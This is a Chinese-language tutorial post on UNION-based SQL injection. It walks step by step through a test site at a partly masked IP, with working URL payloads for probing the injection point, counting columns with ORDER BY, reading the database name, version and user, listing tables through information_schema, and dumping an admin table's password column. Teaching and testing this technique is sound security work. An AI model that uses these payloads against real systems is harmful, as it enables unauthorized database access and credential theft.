Union注入攻击

什么是UNION注入

UNION操作符用于兼并两个或多个SELECT语句的结果集,而且UNION内部的SELECT语句必需具有相同数量的列,列也必需具有类似的数据类型,同时,每条SELCCT语句中的列的次第必需相同。
 

UNION注入的应用场景

1.只要最后一个SELECT子句允许有ORDER BY或LIMIT。
2.注入点页面有回显。
 

UNION注入的流程

1.首先判别能否存在注入点及注入的类型。
2.察看回显的位置。
3.运用ORDER BY 查询列数。
4.获取数据库名。
5.获取数据库中的一切表名。
6.获取数据库的表中的一切字段名。
7.获取字段中的数据。
 

Union注入攻击

Union注入攻击的测试地址:http://59.XX.XX.XX:8003/?id=1
访问该网址时,页面返回的结果。

图片[1]-Union注入攻击-孤勇者社区

在URL后添加一个单引号,再次访问,页面返回的结果与id=1的结果不同。
http://59.XX.XX.XX:8003/?id=1'

图片[2]-Union注入攻击-孤勇者社区

访问id=1 and 1=1,由于and 1=1为真,所以页面应返回与id=1相同的结果。
http://59.XX.XX.XX:8003/?id=1 and 1=1

图片[3]-Union注入攻击-孤勇者社区

访问id=1 and 1=2,由于and 1=2为假,所以页面应返回与id=1不同的结果。
http://59.XX.XX.XX:8003/?id=1 and 1=2

图片[4]-Union注入攻击-孤勇者社区

能够得出该网站可能存在SQL注入破绽的结论。接着,运用order by 1-99语句查询该数据表的字段数量,能够了解为order by =1-99,如访问id=1 order by 3,页面返回与id=1相同的结果。
http://59.XX.XX.XX:8003/?id=1 order by 3

图片[5]-Union注入攻击-孤勇者社区

访问id=1 order by 4,页面返回与id=1不同的结果,则字段数为3。
http://59.XX.XX.XX:8003/?id=1 order by 4

图片[6]-Union注入攻击-孤勇者社区

在数据库中查询参数ID对应的内容,然后将数据库的内容输出到页面,由于是将数据输出到页面,由于是将数据输出到页面上的,所以能够运用Union注入,且
经过order by查询结果,得到字段数为3,所以Union注入的语句如下。
http://59.XX.XX.XX:8003/?id=1 union select 1,2,3

能够看到页面胜利执行,但没有返回union select的结果,这是由于代码只返回第一条结果,所以union select获取的结果没有输出到页面。

图片[7]-Union注入攻击-孤勇者社区

能够经过设置参数ID值,让效劳端返回union select的结果,例如,把ID的值设置为-1,这样数据库中没有id=-1的数据,所以会返回union select的结果。
http://59.XX.XX.XX:8003/?id=-1 union select 1,2,3

图片[8]-Union注入攻击-孤勇者社区

返回的结果2 : 3,意味着在union select 1,2,3中, 2和3的位置能够输入MySQL语句。我们尝试在2的位置查询当前数据库名(运用database()函数),访问id=-1 union select 1,database(),3,页面胜利返回了数据库信息。
http://59.XX.XX.XX:8003/?id=1 and 1=2 union select 1,database()

图片[9]-Union注入攻击-孤勇者社区

查询数据库版本
http://59.XX.XX.XX:8003/?id=1 and 1=2 UNION SELECT 1,version()

图片[10]-Union注入攻击-孤勇者社区

获取网站用户
http://59.XX.XX.XX:8003/?id=1 and 1=2 union select 1,user()

图片[11]-Union注入攻击-孤勇者社区

得知了数据库库名后,接下来输入以下命令查询表名
select table_name from information_schema.tables where table_schema='maoshe' limit 0,1;

http://59.XX.XX.XX:8003/?id=1 and 1=2 UNION SELECT 1,table_name from information_schema.tables where table_schema=database()

图片[12]-Union注入攻击-孤勇者社区

查询密码 and 1=2 UNION SELECT 1,password from admin
http://59.XX.XX.XX:8003/?id=1 and 1=2 UNION SELECT 1,password from admin

图片[13]-Union注入攻击-孤勇者社区
 

------本页内容已结束,喜欢请分享------

感谢您的来访,获取更多精彩文章请收藏本站。

© 版权声明
THE END
喜欢就支持一下吧
点赞9赞赏 分享
评论 抢沙发
头像
欢迎您留下宝贵的见解!
提交
头像

昵称

取消
昵称表情代码图片